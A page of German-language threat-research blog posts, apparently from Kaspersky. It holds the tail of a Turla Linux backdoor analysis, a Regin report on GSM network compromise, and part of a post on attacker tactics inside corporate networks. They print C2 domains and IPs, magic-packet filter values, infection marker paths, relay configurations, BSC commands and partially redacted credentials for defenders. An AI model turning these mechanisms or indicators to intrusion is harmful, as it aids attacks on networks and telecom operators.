mnt-by: AFRINIC-HM-MNT
mnt-lower: CAFENET-NOC
source: AFRINIC # Filtered

Anmerkung: Die C&C-Domain wird aktuell von Kaspersky Lab auf einen Sinkhole-Server umgeleitet.

Funktionale Beschreibung

Bei diesem Sample handelt es sich um eine auf cd00r Quellen basierende Stealth Backdoor.

Diese auf cd00r basierende Turla-Malware ist in der Lage sich zu tarnen, ohne erhöhte Privilegien zu benötigen, während sie willkürlich entfernt Befehle ausführt. Sie kann nicht via netstat, einem gängigen Verwaltungstool, detektiert werden. Sie verwendet Techniken, die keinen Root-Zugriff erforderlich machen, wodurch sie problemloser auf mehr Opfer-Hosts laufen kann. Selbst wenn sie ein regulärer Nutzer mit eingeschränkten Privilegien startet, kann sie weiterhin einkommende Pakete abfangen und eingehende Befehle auf dem System ausführen.

Inbetriebnahme und Ausführung

Um die Ausführung zu starten, benötigt der Prozess zwei Parameter: Die ID (einen numerischen Wert, der als Teil des „magischen Pakets zur Authentifizierung“ genutzt wird) und einen existierenden Netzwerk-Interface-Namen. Die Parameter können auf zwei verschiedene Arten eingegeben werden: STDIN oder von einem Dropper, der das Sample startet. Das ist KEIN Befehlszeilenparameter, es ist ein realer User, der den Angreifer umgehend auffordert, die Eingabeparameter bereitzustellen. Nachdem die ID und der Interfacename eingegeben und der Prozess gestartet wurde, wird die PID des Backdoor-Prozesses zurückgeschickt. Hier ein Screenshot dieses simplen Interfaces:

Während es keinen ursprünglichen Netzwerk-Callback gibt, unterhält ein Codeabschnitt den hartkodierten c2-String "news-bbc.podzone[.]org". Dieser voll qualifizierte Domainname wurde erstmals im Jahr 2010 eingerichtet, was zu der Annahme verleitet, das diese Binärdatei erst recht kurze Zeit in dem String der Turla-Kampagnen vorhanden ist. Und während wir keine weitere Datei-Downloadaktivität von diesem Server mit diesem Tool beobachten konnten, ist es wahrscheinlich, dass es als eine Art Dateiserver beteiligt war.

Magische Pakete für das entfernte Ausführen von Befehlen

Das Modul verlinkt PCAP-Bibliotheken statisch und verwendet diesen Code, um einen RAW Socket zu erhalten, wendet einen Filter auf ihn an und fängt Pakete ab, die auf bestimmte Bedingungen untersucht werden (das *original cd00r verwendete diese Methode zuerst, basierend auf Ports und SYN-Paketen). Diese Bedingung wird hier ausgedrückt (sie basiert auf dem ID-Eingabewert bei der Inbetriebnahme durch die Angreifer):

ID = 123 Filter = (tcp[8:4] & 0xe007ffff = 0xe003bebe) or (udp[12:4] & 0xe007ffff = 0xe003bebe) ID = 321 Filter = (tcp[8:4] & 0xe007ffff = 0x1bebe) or (udp[12:4] & 0xe007ffff = 0x1bebe)

In einfachen Worten – es sucht nach einer ACK-Nummer im TCP-Header oder dem zweiten Byte von dem UDP-Paketkörper.

Wird so ein Paket erhalten und der Bedingungscheck ist erfolgreich, springt die Ausführung zu den Inhalten der Paket-Payload und erstellt einen regulären Socket. Die Backdoor behandelt diesen Socket wie eine Datei mit Lese-/Schreib-Operationen. In diesem Code wird nicht das typische recv/send verwendet. Es benutzt diesen neuen Socket, um sich mit der Quelle der Adresse des "magischen Pakets" zu verbinden. Daraufhin gibt es seine eigene PID und IP an die entfernte Adresse weiter und startet eine Endlosschleife zum Empfang entfernter Befehle. Kommt ein Befehl herein, so wird er mit einem "/bin/sh -c "-Skript ausgeführt.

Weitere Analysen der Funktionalität des Samples werden wir an dieser Stelle veröffentlichen.

Fazit

Obgleich bekannt war, dass Linux-Varianten für das Turla-Framework existieren, haben wir bisher keine in freier Wildbahn beobachten können.

Dieses spezifische Modul scheint aus offiziellen Quellen zusammengesetzt worden zu sein, wobei die Angreifer verschiedene Funktionen hinzugefügt haben. Ein Teil des Schadcodes scheint inaktiv zu sein, vielleicht handelt es sich dabei um Überbleibsel älterer Versionen des Implantats. Der vielleicht interessanteste Teil ist ein ungewöhnlicher C&C-Mechanismus, der auf TCP/UDP-Paketen basiert, sowie der C&C-Hostname, der zur bereits bekannten Turla-Aktivität passt.

Die Entdeckung dieses Turla-Moduls wirft eine große Frage auf: Wie viele andere unbekannte Turla-Varianten gibt es noch?

Update: Nach der Veröffentlichung dieses Blogposts haben wir ein weiteres Turla-Modul für Linux entdeckt, das eine andere Malwaregeneration als die bisher bekannten Samples repräsentiert:

Das neue Sample wurde von unseren Produkten mit heuristischen Methoden entdeckt, aufgrund von Ähnlichkeiten zu vorher detektierten Samples.

Md5GrößeName
19fbd8cbfb12482e8020a887d6427315801,561 bytesHEUR:Backdoor.Linux.Turla.gen

Regin: Kompromittierung von GSM-Netzwerken durch Nationalstaat


  Global Research and Analysis Team of Kaspersky Lab       15 Dezember 2014 | 18:30  MSK

Ihr Kommentar  

Motto: "Beware of Regin, the master! His heart is poisoned. He would be thy bane..."
"The Story of Siegfried" von James Baldwin

Einleitung, Geschichte

Zum Download unseres vollständigen Regin-Berichts (PDF)

Im Frühjahr 2012, nachdem Kaspersky Lab die ungewöhnlichen Fakten rund um die Duqu-Malware veröffentlicht hatte, kontaktierte uns ein Sicherheitsexperte, und teilte uns mit, dass ihn Duqu an einen anderen hochgerüsteten Malware-Vorfall erinnere. Obgleich er uns kein Sample zur Verfügung stellen konnte, erwähnte der Forscher den Namen "Regin" - eine Malware-Attacke, die von vielen Sicherheitsadministratoren in Regierungseinrichtungen rund um den Globus gefürchtet wird.

Im Laufe der letzten zwei Jahre haben wir die Bewegung dieser äußerst schwer zu fassenden Malware um die ganze Welt verfolgt. Von Zeit zu Zeit tauchten Samples bei verschiedenen Multi-Scanner-Services auf, doch sie standen nicht in Beziehung miteinander, hatten alle verborgene Funktionalität und entbehrten jeglichen Kontextes.

Es ist nicht bekannt, wann genau die ersten Samples von Regin erstellt wurden. Einige von ihnen verfügen über Zeitstempel, die in das Jahr 2003 zurückreichen.

Alle Opfer von Regin fallen unter eine der folgenden Kategorien:

  • Telekommunikationsbetreiber
  • Regierungsinstitutionen
  • Multinationale politische Gremien
  • Finanzinstitutionen
  • Forschungseinrichtungen
  • Individuen, die auf irgendeine Weise mit mathematischer/kryptografischer Forschung auf höchstem Niveau zu tun haben

Wie wir bisher beobachten konnten, verfolgen die Angreifer zwei Hauptziele:

  • Sammeln von Geheimdienstinformationen
  • Erleichterung anderer Angriffstypen

Während sich die Angreifer in den meisten Fällen darauf konzentriert haben, sensitive Informationen abzugreifen, wie etwa E-Mails und Dokumente, haben wir auch Fälle beobachtet, in denen sie Telekommunikationsbetreiber kompromittierten, um den Start weiterer raffinierter Attacken zu ermöglichen. Mehr darüber erfahren sie in dem Abschnitt Angriffe auf GSM unten.

Eins der vielleicht prominentesten Opfer von Regin ist Jean Jacques Quisquater (https://en.wikipedia.org/wiki/Jean-Jacques_Quisquater), ein bekannter belgischer Kryptograph. Im Februar 2014 teilte Quisquater mit, dass er Opfer eines hochentwickelten Cyberintrusion-Vorfalls geworden sei. Wir konnten an Samples von dem Fall Quisquater gelangen und bestätigen, dass diese zu der Regin-Plattform gehören.

Ein weiteres interessantes Opfer von Regin ist ein Computer, den wir "Den Bedrohungsmagneten“ nennen. Dieser Computer gehört einer Forschungseinrichtung und wurde bereits von Turla, Mask/Careto, Regin, Itaduke, Animal Farm sowie einigen anderen fortschrittlichen Bedrohungen angegriffen, die in der Öffentlichkeit keinen Namen haben, und die alle fröhlich irgendwann auf demselben Computer koexistierten.

Erstinfektion und Lateralbewegung

Die genaue Methode der Erstinfektion bleibt ein Rätsel, obgleich es einige Theorien zu diesem Thema gibt, unter anderem werden Man-in-the-Middle-Attacken mit Zero-Day-Exploits für den Browser vermutet. Bei einigen Opfern fanden wir Tools und Module, die für eine Lateralbewegung vorgesehen sind. Bisher sind wir noch nicht auf Exploits gestoßen. Die Vervielfältigungsmodule werden unter Verwendung von Windows administrative shares auf entfernte Computer kopiert und dann ausgeführt. Diese Technik macht offensichtlich administrative Privilegien im Netzwerk des Opfers erforderlich. In einigen Fällen waren die infizierten Rechner auch Windows Domain Controller. Der Angriff auf Systemadministratoren über web-basierte Exploits ist ein einfacher Weg, sofortigen administrativen Zugriff auf das gesamte Netzwerk zu erhalten.

Die Regin-Plattform

Kurz gesagt: Regin ist eine Cyberattacken-Plattform, die Angreifer im Netzwerk ihres Opfers installieren, um entfernte Kontrolle auf allen möglichen Ebenen zu erhalten.

Die Plattform ist extrem modular und verfügt über mehrere Stufen.

Diagramm der Regin-Plattform

Die erste Stufe ("stage 1") ist gewöhnlich die einzige ausführbare Datei, die im System des Opfers erscheint. Weitere Stufen werden entweder direkt auf der Festplatte (für 64-Bit-Systeme), als Extended Attributes im NTFS oder als Registry-Einträge gespeichert. Wir haben viele verschiedene Stage 1-Module identifiziert, die manchmal mit öffentlichen Quellen verschmelzen, um eine Art von Polymorphismus zu erreichen und so den Detektionsprozess zu erschweren.

Die zweite Stufe dient einer Vielzahl von Zielen und kann die Regin-Infektion aus dem System entfernen, wenn sie die entsprechende Weisung von der dritten Stufe erhält.

Die zweite Stufe erstellt zudem eine Marker-Datei, die benutzt werden kann, um die infizierte Maschine zu identifizieren. Bekannte Dateinamen für diesen Marker lauten:

  • %SYSTEMROOT%\system32\nsreg1.dat
  • %SYSTEMROOT%\system32\bssec3.dat
  • %SYSTEMROOT%\system32\msrdc64.dat

Stufe 3 gibt es nur auf 32-Bit-Systemen - auf 64-Bit-Systemen lädt Stufe 2 den Dispatcher direkt und die dritte Stufe entfällt.

Stage 4, der Dispatcher, ist vermutlich das komplexeste Einzelmodul der gesamten Plattform. Der Dispatcher ist der Kern des Benutzermodus‘ des Frameworks. Er wird direkt als dritte Stufe des 64-Bit-Urladeprozesses geladen oder aus dem VFS als Modul 50221 herausgezogen und geladen, auf 32-Bit-Systemen als vierte Stufe.

Der Dispatcher ist für die Ausführung der kompliziertesten Aufgaben der Regin-Plattform zuständig, wie etwa die Bereitstellung einer API für den Zugriff auf virtuelle Dateisysteme, die Basiskommunikation und Speicherfunktionen sowie Netzwerktransport-Subroutien. Der Dispatcher ist also im Wesentlichen das Gehirn, das die gesamte Plattform am Laufen hält.

Eine ausgiebige Beschreibung aller Malware-Stufen finden Sie in unserem vollständigen technischen Bericht.

Virtuelle Dateisysteme (32/64-Bit)

Der interessanteste Code der Regin-Plattform wird in verschlüsselten Dateispeichern verwahrt, in so genannten Virtual File Systems (VFSes), virtuellen Dateisystemen.

Im Zuge unserer Analyse konnten wir 24 VFSes von einer Vielzahl von Opfern rund um den Globus abrufen. Im Allgemeinen haben sie willkürliche Namen und können an unterschiedlichen Orten in dem infizierten System untergebracht sein. Eine vollständige Liste, die Formate der Regin VFSes eingeschlossen, finden Sie in unserem technischen Bericht.

Ungewöhnliche Module und Artefakte

Hochprofessionelle APT-Gruppen, wie die hinter Regin eine ist, machen sehr selten Fehler. Aber manchmal eben doch. Einige der VFSes, die wir analysierten, enthalten Wörter, die die entsprechenden Codenamen der auf den Opfersystemen installierten Module zu sein scheinen:

  • legspinv2.6 and LEGSPINv2.6
  • WILLISCHECKv2.0
  • HOPSCOTCH

Ein anderes Modul, das wir gefunden haben, ein Plug-In des Typs 55001.0, bezieht sich auf einen anderen Codenamen, der da lautet U_STARBUCKS:

Angriffe auf GSM

Der interessanteste Aspekt, den wir bis dato über Regin herausgefunden haben, steht mit der Infektion eines großen GSM-Betreibers in Zusammenhang. Ein verschlüsselter VFS-Eintrag, den wir ermittelten, hatte die interne ID 50049.2 und scheint ein Aktivitätsprotokoll auf einem GSM Bases Station Controller zu sein.

Quelle: https://en.wikipedia.org/wiki/Base_station_subsystem

In der GSM-Dokumentation heißt es (http://www.telecomabc.com/b/bsc.html): "Der Base Station Controller (BSC) kontrolliert und überwacht eine Anzahl von Base Transceiver Stations (BTS). Der BSC ist verantwortlich für die Zuteilung der Funkressourcen an einen mobilen Anruf und für die Verbindungen zwischen den Basisstationen, die seiner Kontrolle unterliegen. Andere Verbindungen unterliegen der Kontrolle des MSC."

Hier ein Blick auf das decodierte GMS-Aktivitätsprotokoll von Regin:

Dieses Protokoll ist etwa 70 KB groß und enthält hunderte von Einträgen der oben dargestellten Art. Es enthält zudem Zeitstempel, die genau angeben, wann das Kommando ausgeführt wurde.

Die Einträge in dem Protokoll scheinen OSS MML (Man-Machine Language wie von ITU-T definiert) Befehle von Ericsson zu enthalten.

Hier eine Liste einiger Befehle, die auf dem Base Station Controller ausgegeben werden, zusammen mit einigen ihrer Zeitstempel:


2008-04-25 11:12:14: rxmop:moty=rxotrx;
2008-04-25 11:58:16: rxmsp:moty=rxotrx;
2008-04-25 14:37:05: rlcrp:cell=all;
2008-04-26 04:48:54: rxble:mo=rxocf-170,subord;
2008-04-26 06:16:22: rxtcp:MOty=RXOtg,cell=kst022a;
2008-04-26 10:06:03: IOSTP;
2008-04-27 03:31:57: rlstc:cell=pty013c,state=active;
2008-04-27 06:07:43: allip:acl=a2;
2008-04-28 06:27:55: dtstp:DIP=264rbl2;
2008-05-02 01:46:02: rlstp:cell=all,state=halted;
2008-05-08 06:12:48: rlmfc:cell=NGR035W,mbcchno=83&512&93&90&514&522,listtype=active;
2008-05-08 07:33:12: rlnri:cell=NGR058y,cellr=ngr058x;
2008-05-12 17:28:29: rrtpp:trapool=all;

Beschreibung der Befehle:

  • rxmop – Typ der Softwareversion überprüfen;
  • rxmsp – aktuelle Anrufumleitungs-Einstellungen der Mobilstation auflisten;
  • rlcrp – Liste der Anrufumleitungs-Einstellungen für den Base Station Controller anzeigen;
  • rxble – Rufumleitung aktivieren (entsperren);
  • rxtcp – Sendeempfänger-Gruppe einer bestimmten Zelle anzeigen;
  • allip – externen Alarm anzeigen;
  • dtstp - DIgital Path (DIP)-Einstellungen anzeigen (DIP ist der Name der Funktion, die zur Überwachung der verbundenen PCM-Linien (Pulse-Code-Modulation) verwendet wird);
  • rlstc – Zelle(n) im GSM-Netzwerk aktivieren;
  • rlstp – Zelle(n) im GSM-Netzwerk stoppen;
  • rlmfc – Frequenzen zur aktiven Sendekontrollkanal-Verteilungsliste hinzufügen;
  • rlnri – Zellennachbarn hinzufügen;
  • rrtpp – Details zum Funkübertragungstranscoder-Pool anzeigen.

Das Log scheint nicht nur die ausgeführten Befehle, sondern auch Nutzernamen und Passwörter für einige der technischen Accounts zu enthalten:

sed[snip]:Alla[snip]
hed[snip]:Bag[snip]
oss:New[snip]
administrator:Adm[snip]
nss1:Eric[snip]

Insgesamt ist dem Protokoll zu entnehmen, dass in 136 unterschiedlichen Zellen Befehle ausgeführt wurden. Einige der Zellnamen enthalten "prn021a, gzn010a, wdk004, kbl027a, etc...". Das Befehlsprotokoll, über das wir verfügten, deckt einen Zeitraum von ungefähr einem Monat ab, und zwar vom 25. April 2008 bis zum 27. Mai 2008. Es ist nicht bekannt, warum die Befehle im Mai 2008 aufhörten; vermutlich wurde die Infektion entfernt oder die Angreifer hatten ihr Ziel erreicht und zogen weiter. Eine andere Erklärung wäre, dass die Angreifer die Malware verbessert oder verändert haben, um die Protokolle nicht mehr lokal speichern zu müssen, und aus diesem Grund wurden nur einige ältere Logs entdeckt.

Kommunikation und C&C

Der in Regin implementierte C&C-Mechanismus ist äußerst raffiniert und fußt auf Kommunikationsdrohnen, die von den Hackern über das gesamte Netzwerk des Opfers verteilt werden. Die meisten Opfer kommunizieren mit einem anderen Rechner in ihrem eigenen internen Netzwerk über verschiedenste Protokolle, so wie in der config-Datei festgelegt. Dazu gehören HTTP und Windows-Netzwerkpipes. Mit dieser komplexen Infrastruktur sollen zwei Ziele erreicht werden: Sie soll den Angreifern Zugriff tief in das Netzwerk gewährleisten, bei potentieller Umgehung von Airgaps, und sie soll den Traffic auf das C&C so stark wie möglich einschränken.

Hier ein Blick auf die decodierte Konfiguration:

17.3.40.101 transport 50037 0 0 y.y.y.5:80 ; transport 50051 217.y.y.yt:443
17.3.40.93 transport 50035 217.x.x.x:443 ; transport 50035 217.x.x.x:443
50.103.14.80 transport 27 203.199.89.80 ; transport 50035 194.z.z.z:8080
51.9.1.3 transport 50035 192.168.3.3:445 ; transport 50035 192.168.3.3:9322
18.159.0.1 transport 50271 DC ; transport 50271 DC

Die oben dargestellte Übersicht zeigt Konfigurationen, die von mehreren Opfern entnommen wurden, die infizierte Rechner in virtuellen Netzwerken verbinden: 17.3.40.x, 50.103.14.x, 51.9.1.x, 18.159.0.x. Eine dieser Strecken reicht zu dem „externen“ C&C-Server bei 203.199.89.80.

Die Zahlen direkt hinter dem "transport" verweisen auf das Plug-In, das die Kommunikation verwaltet. In unserem Fall sind das:

  • 27 - ICMP Network Listener, der Raw Sockets verwendet
  • 50035 - Winsock-basierter Netzwerktransport
  • 50037 - Netzwerktransport über HTTP
  • 50051 - Netzwerktransport über HTTPS
  • 50271 - Netzwerktransport über SMB (benannte Pipes)

Die an der Grenze des Netzwerks platzierten Rechner fungieren als Router, die Opfer innerhalb des Netzwerks wirksam mit C&Cs im Internet verbinden.

Nachdem wir alle Konfigurationen, die wir zusammengetragen hatten, decodiert hatten, konnten wir die folgenden externen C&Cs identifizieren.
IP- des C&C-ServersStandortBeschreibung
61.67.114.73Taichung in der chinesischen Provinz TaiwanChwbn
202.71.144.113Indien, ChetputChennai Network Operations  (team-m.co)
203.199.89.80Indien, ThaneInternet Service Provider
194.183.237.145Belgien, BrüsselPerceval S.a.

In einem bestimmten Fall ist ein Land im Mittleren Osten beteiligt. Dieser Fall war überwältigend, daher waren wir der Meinung, es sei wichtig, ihn vorzustellen. In diesem speziellen Fall kommunizieren alle Opfer, die wir identifizierten, miteinander und bildeten dabei ein Peer-to-Peer-Netzwerk. Teil dieses P2P-Netzwerks sind das Büro des Präsidenten, ein Forschungszentrum, das Netzwerk einer Bildungseinrichtung und eine Bank.

Diese über das ganze Land verteilten Opfer sind alle miteinander verbunden. Eins dieser Opfer enthält eine Übersetzungsdrohne, die in der Lage ist, Pakete ins Ausland weiterzuleiten, und zwar zu dem C&C in Indien.

Es handelt sich hier um einen recht interessanten Command-und-Control-Mechanismus, der garantiert nur wenig Verdacht erregt. Wenn beispielsweise alle Befehle an das Büro des Präsidenten über das Netzwerk der Bank gesendet werden, dann bezieht sich der gesamte schädliche Traffic, den die Systemadministratoren des Präsidentenbüros sehen können, nur auf die Bank, in demselben Land.

Opferstatistik

Im Laufe der letzten zwei Jahre haben wir statistische Daten über die Angriffe und die Opfer von Regin zusammengetragen. Dabei kam uns die Tatsache zugute, dass – selbst nachdem die Malware deinstalliert wurde -, bestimmte Artefakte zurückbleiben, die helfen können, ein infiziertes (aber gesäubertes) System zu identifizieren. Zum Beispiel hatten wir mit einigen Fällen zu tun, in denen die Systeme zwar gesäubert worden waren, der Infektionsmarker "msrdc64.dat" allerdings zurückgelassen wurde.

Bisher wurden in 14 Ländern Regin-Opfer registriert

  • Algerien
  • Afghanistan
  • Belgien
  • Brasilien
  • Fidschi
  • Deutschland
  • Iran
  • Indien
  • Indonesien
  • Kiribati
  • Malaysia
  • Pakistan
  • Russland
  • Syrien

Insgesamt haben wir 27 verschiedene Opfer gezählt, wobei hier zu berücksichtigen ist, dass die Definition „Opfer“ sich auf die komplette Organisation mit dem gesamten Netzwerk bezieht. Die Zahl der einzelnen PCs, die mit Regin infiziert wurden, ist selbstverständlich sehr viel größer.

Auffallend in der oben stehenden Karte sind Fidschi und Kiribati, denn wir bekommen selten solche fortschrittliche Malware in so entfernten, kleinen Ländern zu sehen. Insbesondere das Opfer in Kiribati ist überaus ungewöhnlich. Zum Verständnis der Relation: Kiribati ist eine kleine Insel im Pazifik mit ungefähr 100.000 Bewohnern.

Weitere Informationen über die Regin-Opfer erhalten sie über die Kaspersky Intelligent Services. Kontakt: intelreports@kaspersky.com

Zuordnung

Berücksichtigt man die Komplexität der Malware und die Kosten für die Entwicklung von Regin, so liegt die Vermutung nahe, dass die Operation von einem Nationalstaat gefördert wird. Während die Zuordnung ein schwieriges Problem ist und bleibt, wenn es um professionelle Angreifer geht, wie die hinter der Regin-Operation, so können bestimmte, aus den Samples extrahierte Metadaten durchaus relevant sein.

Da diese Informationen leicht von den Entwicklern geändert werden können, liegt es beim Leser, sie zu interpretieren: als eine bewusst gelegte falsche Fährte oder als ein nicht kritischer Hinweis, den die Entwickler hinterlassen haben.

Weitere Informationen über Regin sind für Kunden der Kaspersky Intelligent Services verfügbar. Kontakt: intelreports@kaspersky.com

Fazit

Seit mehr als einem Jahrzehnt hat eine hochentwickelte Gruppe, die unter dem Namen Regin bekannt ist, prominente Organisationen rund um den Erdball mit Hilfe einer fortschrittlichen Malware-Plattform angegriffen. Soweit wir sagen können, ist diese Operation noch immer aktiv, obgleich die Malware vielleicht auf modernere Versionen upgegradet wurde. Das neuste Sample, das wir gefunden haben, stammt aus einer 64-Bit-Infektion. Diese Infektion war im Frühjahr 2014 noch aktiv.

Der Name Regin ist vermutlich ein umgedrehtes "In Reg", kurz für "In Registry", da die Malware ihre Module in der Registry speichern kann. Dieser Name tauchte erstmals im März 2011 auf, als die Malware zum ersten Mal von Anti-Malware-Produkten detektiert wurde.

In einer gewissen Hinsicht erinnert uns die Plattform an eine andere hochentwickelte Malware: Turla. Einige Ähnlichkeiten liegen im Gebrauch von virtuellen Dateisystemen und dem Einsatz von Kommunikationsdrohnen, um Netzwerke miteinander zu verbinden. Doch mit seiner Umsetzung, seinen Verschlüsselungsmethoden, Plug-Ins, Verbergungstechniken und mit seiner Flexibilität übertrifft Regin die Plattform Turla als eine der raffiniertesten Angriffsplattformen, die wir jemals analysiert haben.

Die Fähigkeit dieser Gruppe in GSM-Netzwerke einzudringen und diese zu überwachen, ist vielleicht der ungewöhnlichste und interessanteste Aspekt dieser Operationen. In der heutigen Welt sind wir viel zu abhängig von mobilen Telefonnetzwerken, die auf antiquierten Kommunikationsprotokollen basieren, die dem Enduser nur wenig oder gar keine Sicherheit bieten. Obgleich alle GSM-Netzwerke über eingebettete Mechanismen verfügen, die es Organisationen, wie etwa Strafverfolgungsbehörden ermöglichen, Verdächtige zu verfolgen, ist da auch noch die andere Partei, die in der Lage ist, sich diese Möglichkeit anzueignen und im Folgenden zu missbrauchen, um andere Arten von Attacken auf mobile Nutzer zu starten.

Den vollständigen technischen Bericht finden Sie hier.

Die Produkte von Kaspersky Lab detektieren die Module der Regin-Plattform als: Trojan.Win32.Regin.gen und Rootkit.Win32.Regin.

Wenn Sie eine Regin-Infektion in Ihrem Netzwerk entdecken, kontaktieren Sie uns bitte unter intelservices@kaspersky.com

Löcher im Schutz von Unternehmensnetzwerken: Netzwerk-Schwachstellen


  Kirill Kruglov        11 November 2014 | 16:17  MSK

Ihr Kommentar  

In einem früheren Blog haben wir darüber berichtet, welche Attacken Cyberkriminelle durchführen können, die mit dem Account eines normalen Anwenders operieren, ohne über die Rechte eines lokalen Administrators zu verfügen. Unter anderem haben wir das Beispiel angeführt, wie die so genannte Eilanmeldung im Rahmen der Domain-Autorisierung (Single-Sign-On) es einem Cyberkriminellen ermöglichen kann, Zugriff auf verschiedene Netzwerkressourcen zu erhalten, auch wenn er nur mit dem eingeschränkten Account eines gewöhnlichen Anwenders agiert. In diesem Blog betrachten wir detailliert die möglichen Angriffsvektoren auf Unternehmensnetzwerke von innen heraus, d.h. von einem infizierten Computer aus.

Nachdem sich ein Online-Gangster die Kontrolle über irgendein Anwendersystem innerhalb eines Unternehmensnetzwerks verschafft hat, lassen sich alle folgenden Ereignisse in drei aufeinanderfolgende Etappen einteilen: Einnistung im System, Analyse der Umgebung und Ausbreitung. Für die Umsetzung jeder dieser Etappen gibt es eine Vielzahl von Möglichkeiten, die sich durch die technischen Methoden, Strategien und Taktiken voneinander unterscheiden. Die möglichen Vorgehensweisen eines Cyberkriminellen, die auf die Einnistung, Analyse und Ausbreitung im Unternehmensnetzwerk ausgerichtet sind, sind auf dem unten stehenden Schema dargestellt.


Schema der möglichen Vorgehensweisen eines Cyberkriminellen

Für IT-Sicherheitsexperten ist es wichtig, die Anzeichen zu kennen, die rechtzeitig auf die eine oder andere Attacke hinweisen. Mit Hilfe des vorgeschlagenen „Aktionswegweisers“ können IT-Sicherheitsfachleute eine Attacke erkennen, indem sie die Ereignisse im Netzwerk mit den verschiedenen möglichen Vorgehensweisen Cyberkrimineller abgleichen.

Einnistung im System

In den ersten Minuten und Stunden nach dem Eindringen in ein Unternehmensnetzwerk lädt ein Hacker normalerweise Tools (unter anderem schädliche) auf den attackierten Computer, die für die folgenden Aktionen benötigt werden: Sammeln von Informationen über das System und die installierte Software, Suche nach Dateien und Daten, Verbindungsherstellung mit dem Steuerungszentrum (C&C), Diebstahl von Kontodaten, Prüfung von Passwörtern, Hacken von Accounts, Erhöhung der Privilegien, Infektion des Systems, Abfangen des Netztraffics, Scannen der Geräte im Netz usw.

Um den Download aller benötigten Werkzeuge vor den Augen der Netzwerkadministratoren und IT-Sicherheitsexperten zu verbergen und den Alarm aller möglichen Schutzlösungen zu deaktivieren, greifen Cyberkriminelle auf Tricks und Kniffe unterschiedlicher Komplexität zurück:


  • Die Dateien werden über Allerwelts-Netzprotokolle/-Ports (HTTP, FTP, HTTPS, SFTP) übermittelt und gehen in dem enormen Strom des alltäglichen Anwender-Traffics unter.

  • Die Dateien werden unter Einsatz von Fast Flux-Netzen oder über Tor von gehackten Servern geladen.

  • Die Dateien werden gestückelt übertragen, in obfuskierter und/oder verschlüsselter Form.

  • Manchmal werden zur Übertragung verschiedene Steganografie-Arten benutzt, beispielsweise Verbergen von Daten in Audio/Video-Dateien, Bildern oder Headern von Internet-Protokollen (insbesondere, wenn die Allerweltsports von einer Firewall geschützt werden).

Nach dem Download der benötigten Tools versucht der Cyberkriminelle, sich Zugriff auf den Account des lokalen Administrators oder auf das Systemkonto zu verschaffen. Im ersten Fall wird üblicherweise Software zum Abfangen der Tastatureingaben, zum Überprüfen der Passwörter, zum Hacken von Accounts oder zum Phishing verwendet. Im zweiten Fall, also für den Zugriff auf den System-Account (d.h. auf Rechte auf Kernel-Ebene), kommen normalerweise Exploits zu Sicherheitslücken in Systemdiensten zum Einsatz.

Unter Verwendung der so erhaltenen Privilegien ist ein Cyberkrimineller in der Lage, tief ins System einzudringen, nachdem er ein Rootkit oder Bootkit ins Betriebssystem eingeschleust hat, er kann das System von allen Spuren des Eindringens säubern und seine Tools sowie die Spuren einer aktiven Infektion vor den lokalen Schutzmitteln verbergen. Wenn es einem Cyberkriminellen nicht gelungen ist, sich auf die „klassische“ Art und Weise im System festzusetzen, so kann er eine automatische Infektion des Systems konfigurieren, indem er einen Standard Task Schedulers verwendet.

Selbstverständlich können sich in jedem konkreten Fall die Arten des „Einnistens“ im System von der oben stehenden Beschreibung unterscheiden. Doch wie wir bereits eingangs erwähnten, ist es für Informationssicherheitsexperten wichtig, die Prinzipien der Angriffsdurchführung zu verstehen und sich die Aufgaben vorstellen zu können, die ein Cyberverbrecher zu lösen hat. So besteht im Stadium der Einnistung die Hauptaufgabe eines Angreifers darin, sich einen langfristigen und zuverlässigen Zugriff auf das attackierte System zu organisieren. Im Allgemeinen besteht die Lösung des Problems des entfernten Zugriffs aus zwei Teilen: Schaffung eines Datenübertragungskanals und Einschleusung von Mitteln zu entfernten Steuerung (Backdoor).

In Abhängigkeit von der Netzwerkkonfiguration, den Firewall-Policies und den Einstellungen der Angriffserkennungssysteme und der Systeme zur Verhinderung von Einschleusungen (IDS/IPS) wenden Cyberkriminelle entweder eine direkte Verbindung oder eine Rückverbindung an. Eine direkte Verbindung (ein Cyberkrimineller stellt eine Verbindung mit einem angegriffenen System her) ist beispielsweise nur dann möglich, wenn das System eine externe IP-Adresse und offene Netzwerk-Ports hat, wobei die externe Verbindung zu diesen nicht durch eine Firewall blockiert werden darf. Sind diese Voraussetzungen nicht gegeben, wird eine Rückverbindung aufgebaut, d.h. ein angegriffenes System stellt eine Verbindung mit einem entfernten Server her. Unabhängig vom Verbindungstyp werden für die Datenübermittlung dieselben Methoden benutzt, wie auch für den Download von Tools und Schadsoftware auf einen infizierten Computer, und zwar werden die Daten über Allerwelts-Protokolle/Ports in verschlüsselter/obfuskierter Form unter Verwendung von Fast Flux oder Tor übermittelt. Als Datenübertragungskanäle können Cyberverbrecher zudem gewöhnliche Anwendersoftware benutzen, wie z.B. Cloud-Speicher, E-Mail-Programme, IM-Clients usw.

Umgebungsanalyse

Vor, nach oder gleichzeitig mit der Einnistung im System muss ein Online-Verbrecher unbedingt Informationen über das Betriebssystem und seine Konfiguration, über die installierten Updates, Programme und Schutzlösungen sammeln. Diese Informationen sind nicht nur zur Einschätzung der aktuellen Situation und Planung der nächsten Angriffsschritte überaus nützlich, sondern auch bezüglich der richtigen Auswahl der erforderlichen Tools und Exploits.

Zum Sammeln von Systeminformationen sind die in den Betriebssystemen vorhandenen Mittel meist völlig ausreichend:


  • cmd, regedit, vbs, powershell in Windows,

  • bash, grep, python, perl in Unix/Linux und Mac OS.

Vom Standpunkt eines Hackers aus liegt eine Menge Vorteile in der Verwendung der oben aufgeführten Tools – sie sind in jedem System vorhanden und sogar für einen Nutzer mit eingeschränkten Rechten verfügbar. Zudem wird ihre Funktion von den meisten Schutzlösungen nicht kontrolliert. Zur Lösung der komplizierteren Aufgaben verwenden Online-Gangster sowohl allgemein bekannte als auch eigene Werkzeuge, die es ihnen ermöglichen, den Netzwerktraffic abzufangen, die Geräte im Netz zu scannen und sich mit verschiedenen Netzwerkdiensten zu verbinden, indem sie die Domain-Autorisierung verwenden usw. Wenn die Hacker-Tools dabei in, sagen wir einmal Python, geschrieben wurden, installieren die Verbrecher gewiss die notwendige Software auf einem infizierten Computer. In diesem Fall wird Python (und anderes dieser Art) vermutlich nicht mit Hilfe eines Rootkits im System verborgen werden, da dies Probleme mit der Funktion des Interpreters hervorrufen könnte.

